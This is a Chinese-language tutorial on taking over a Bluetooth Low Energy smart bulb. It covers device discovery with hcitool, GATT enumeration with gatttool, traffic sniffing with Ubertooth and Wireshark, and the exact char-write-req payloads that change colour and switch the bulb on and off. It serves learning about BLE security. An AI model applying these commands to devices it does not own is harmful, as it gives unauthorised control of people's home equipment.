前言

目前物联网和智能设备已经日益普及,并且当我们谈论物联网时,首先想到的往往是智能家居。智能家居通常涉及各种设备,包括智能冰箱、智能灯泡、电源适配器、水壶、烤面包机、蛋盘,等等。

在这篇文章中,我们将讨论如何接管基于BLE的IoT智能灯泡,与之进行交互,改变颜色,并在这个过程中考察BLE的安全机制。

在这篇文章中,我们将要向读者介绍的主题包括:

  • 使用Ubertooth嗅探BLE
  • 主动嗅探流量
  • 修改BLE的处理程序和特征值
  • 控制设备

为了顺利阅读本文,您需要做好以下准备:

  • 硬件
  • 笔记本电脑
  • Ubertooth
  • 软件
  • hcitool
  • ubertooth-utils
  • Gatttool

基于BLE的IoT智能灯泡的漏洞利用

将灯泡连接到电源。然后,试着使用智能手机来打开和关闭灯泡,以确保它工作正常。接下来,我们首先要做的是找到目标设备的蓝牙地址。

第1步:我们使用hcitool查找主机附近存在的所有可用的BLE设备。

  1. hcitool lescan

在上图中,我们能够看到自己周围的多个设备的蓝牙地址。通过检查后发现,我们的灯泡的蓝牙地址看起来像是88:C2:55:CA:E9:4A,该设备的蓝牙名称是cnligh。

第2步:现在,我们已经知道了目标设备的BD_ADDR(蓝牙地址),接下来就可以使用gatttool来查看目标设备中运行的各种服务了。使用gatttool -I切换到交互模式,然后通过给定的BD_ADDR连接到目标设备。

  1. gatttool -I
  2. connect 88:C2:55:CA:E9:4A
  3. primary

在上图中,有三个主要的服务在运行,对应于三个UUID。其中,00001800和00001801是Bluetooth SIG定义的服务,而UUID 0000f371则并非由蓝牙SIG定义的服务。

第3步:现在我们可以使用char-desc列出特定UUID(0000f371)中的所有句柄。最好指定attr和end group句柄,就本例而言为0x0010 0xffff

  1. char-desc 0x0010 0xffff

在上图中,我们给出了特定的UUID 0xffff的句柄列表。

通过观察,我们发现服务0xfff1到0xfff9是由制造商定义的,其他的则是由蓝牙技术联盟采用的服务,如主要服务、特征、特征用户描述。如果您想进一步了解服务及其具体的UUID值的话,请参考https://www.bluetooth.com/specifications/gatt/services 。

第4步:这里有很多句柄同时我们不知道可以向哪些句柄写数据,所以我们尝试用句柄值来读取句柄

  1. char-read-hnd 0x0012

当我们尝试读取句柄时,会收到如上图所示的错误信息。当然,这里有点难度,因为我们不知道哪些句柄可以读取/写入数据,甚至连数据包的格式都不知道。

为了了解数据包格式和句柄,我们可以嗅探BLE数据包。这方面,Ubertooth是一种有效的工具,可用于BLE流量的主动嗅探。

第5步:利用ubertooth-btle嗅探BLE数据包。为此,我们可以直接使用ubertooth-btle -f命令。如果您有多个设备,可以使用ubertooth-btle -f -t 与目标设备的蓝牙地址。在本例中

  1. ubertooth-btle -f -t88:C2:55:CA:E9:4A

第6步:为了捕获数据包,可以使用以下命令

  1. ubertooth-btle -f -t88:C2:55:CA:E9:4A -c smartbulb_dump.pcap

-c用于捕获由文件名指定的pcap中的数据包。

现在打开您的灯泡手机应用程序并连接灯泡。连接成功后,请执行一个动作,如改变灯泡的颜色,ubertooth将捕获所有的数据包。

上图展示的是灯泡的广告包,并且需要注意以下几点

  • 访问地址(AA)为0x8e89bed6,用于管理链路层,它是一个随机数。
  • 它是37频道,专们用于广告的频道之一。
  • 数据包PDU是ADV_IND,意味着它是可连接的,单向的和可扫描的。
  • AdvA id是88:c2:55:ca:e9:4a,这只是广告设备的BD_ADDR
  • Type 01标志表示AdvA地址是随机的。

如果仔细观察上图,我们将注意到这里有两个值——来自目标设备的扫描响应(SCAN_RSP)和来自应用程序的扫描请求(SCAN_REQ)

SCAN_REQ

  • ScanA是一个6字节的扫描地址,TxAdd指示它是随机值还是公共地址
  • AdvA是一个6字节的广告地址,PDU中的RxAdd表示地址是公共的还是随机的

SCAN_RES

  • AdvA是一个6字节的广告地址,TxAdd表示地址的类型,是随机的还是公开的
  • ScanRspData是来自广告客户的可选广告数据

Connec_REQ

下图展示的是嗅探到的数据

第7步:下面使用wireshark分析捕获的数据包,首先启动wirehark,然后打开捕获的pcap文件。

这时,它将显示所有捕获的数据包。

第8步:现在我们需要在这些捕获的数据包中查找ATT数据包。其中,最简单的方法就是使用wireshark中的过滤器选项,即键入btl2cap.cid == 0x004

如果我们观察上图,会发现这里只有ATT数据包和数据包方面的信息。

第9步:这里,我们在改变灯泡的颜色的同时已经捕获了数据包,所以让我们来研究一下写请求数据包。

现在我们知道数据将被写入句柄0x0012,该句柄属于我们需要弄清楚的某个UUID。

第10步:如果我们分析特定的写请求包,我们可以发现相应的访问地址、CRC值、操作码、句柄和UUID

在上图中我们可以看到

  • 访问地址:0xaf9a9515
  • 主从地址
  • CRC:0x6dcb5
  • 句柄:0x0012
  • UUID:0xfff1
  • 值:03c90006000a03000101000024ff000000006

  • 报头长度为2字节,它紧随PDU之后
  • 模式选择是硬编码的,用于控制灯的颜色
  • 0024ff是RGB值,如果改变这6个字节的内容,就可以获得所需的颜色

第11步:我们可以使用gatttool将值写入特定句柄或UUID,

  1. char-write-req 0x0012 03c90006000a03000101000024ff00000000 //bluish green
  2. char-write-req 0x0012 03c90006000a0300010100ff000000000000 // Red
  3. char-write-req 0x0012 03c90006000a030001010000ff0000000000 //Green
  4. char-write-req 0x0012 03c90006000a03000101000000ff00000000 // Blue
  5. char-write-req 0x0012 03c90006000a03000101000024ff00000000 //bluish green
  6. char-write-req 0x0012 03c90006000a0300010100ff000000000000 // Red
  7. char-write-req 0x0012 03c90006000a030001010000ff0000000000 //Green
  8. char-write-req 0x0012 03c90006000a03000101000000ff00000000 // Blue

第12步:若要打开和关闭灯泡,可以更改数据中的开/关位

  1. char-write-req 0x0012 03c90006000a030101010000000000000000 //Off
  2. char-write-req 0x0012 03c90006000a0300010100ff000000000000 //On
  3. char-write-req 0x0012 03c90006000a030101010000000000000000 //Off
  4. char-write-req 0x0012 03c90006000a0300010100ff000000000000 //On

03c90006000a030101010000000000000000将关闭灯泡,RGB值应为零,否则灯泡不会关闭

03c90006000a0300010100ff0000000000000将打开灯泡,这里RGB值是强制性的。

作者:shan66
来源:51CTO

基于BLE的IoT智能灯泡的安全漏洞利用相关推荐

  1. 智能照明新的低成本解决方案?涂鸦 Beacon 智能灯泡初体验

    7月3日,涂鸦智能正式推出 Tuya Beacon 方案. 7月6日,全球领先的智能照明供应商–红壹佰照明,首发基于 Tuya Beacon 的智能灯泡. 7月22日, 红壹佰 Beacon 智能球泡 ...

  2. 基于Contiki OS的智能led照明:LIFX

    最近接触了LED智能照明,但是大部分智能LED是使用私有协议或是类似Zigbee这样的协议进行组网和数据传输,这就造成除了每个灯节点外,还需要一个网关来连接节点和网络,包括飞利浦的HUE也是这样.Ph ...

  3. 基于语音控制的智能家居系统设计(毕业设计初版)

    基于语音控制的智能家居系统设计(毕业设计初版) 1.项目组成 2.参考博客 3.安卓APP工程(只贴主程序和主布局文件) 3.1.MainActivity.java 3.2.activity_main ...

  4. 基于51单片机简易智能家居

    基于51单片机的智能家居的设计 前言 一.项目简介 二.开发环境/工具: 1.Keil 5/Keil 4 2.STC-ISP 3.蓝牙串口助手 4.手机app 三.硬件设计: 1.单片机与蓝牙模块连接 ...

  5. 基于阿里云IOT Studio和STM32的电机远程监测设计

    今天来总结一下用阿里云的IOT Studio做的一个电机远程监控的小系统吧! 说来话长,在去年九月份的时候,我踏入了研究生的行列.我的导师是搞电机方向的,但我本科是测控的,考虑我的基础,导师给我推荐了 ...

  6. 树莓派 天猫精灵智能灯泡_智能灯泡即使在关闭时也会用完电吗?

    树莓派 天猫精灵智能灯泡 Smart bulbs are super convenient, and can save you money compared to traditional bulbs. ...

  7. Tech Talk 活动预告 | 基于Amazon KVS打造智能视觉产品

    前言 以智能技术的高速发展为基础,在远程办公和居家娱乐的双轮驱动下,消费电子产业特别是智能家居产品的需求在全球范围内实现稳步增长,如安防摄像头.可视门铃.宠物喂食器等. 这些视觉相关的产品,因为能够直 ...

  8. Tech Talk 活动回顾|基于 Amazon KVS 打造智能视觉产品

    前言 从智能单品到全屋智能,随着消费者对生活品质追求的提升,智能化产品逐渐走入大众家庭,从而推动智能家居市场蓬勃发展.从 2017 年开始,智能家居设备已经应用于日常生活各项任务.2017 年其市场规 ...

  9. 飞利浦dicom_如何在飞利浦色相系统中添加第三方智能灯泡

    飞利浦dicom The Philips Hue system was one of the first unified smart bulb systems on the market and re ...

最新文章

  1. WinForm禁用窗体自带的关闭功能
  2. (五)stm32工程代码HardFault异常查错调试方法
  3. 理解Go 1.5 vendor
  4. postgresql数据表增删改:使用pgadmin和SQL的方式实现
  5. 小米与格力的10亿豪赌!
  6. 【北航】Bella 姐姐发辣条(贪心)
  7. IBM推荐的Eclipse的阅读清单(备忘)
  8. Android应用基础知识(4)---Android处理运行时变更
  9. 如何下载城通网盘的东西?
  10. 灰度测试或 AB 测试
  11. 复权不复权,天差与地别 | 量化投资中如何最准确的计算股票前后复权价(附代码)
  12. 钟表维修管理系统技术解析(八) 保修记录、新增、修改、报废
  13. macos的pycharm无setting选项
  14. 跟着Vam一起学习Typescript(第一期)(更新中)
  15. url地址中有特殊符号“引号”引发的错误
  16. 【转发】JS实现密码加密
  17. 苹果xr如何关机_iPhone如何进入DFU模式
  18. 金仓数据库 KingbaseES SQL 语言参考手册 (11. SQL语句:ABORT 到 ALTER INDEX)
  19. java jackson包_jackson.jar
  20. 论《北京爱情故事》中石小猛的爱情

热门文章

  1. 友盟的Common的包下载失败,报错Forbidden
  2. 建立图书馆书目索引表
  3. Altera FPGA SoC搭建步骤
  4. springboot集成redis报错找不到bean
  5. android 陀螺仪滤波_Arduino+mpu6050陀螺仪运用卡尔曼滤波姿态解算实验
  6. 图文档管理系统-让企业图文档管理“井井有条”
  7. 1034. 边框着色
  8. 求最小公倍数(C++牛客网)
  9. Mark - HDFS性能压测工具
  10. 网站收录前期如何优化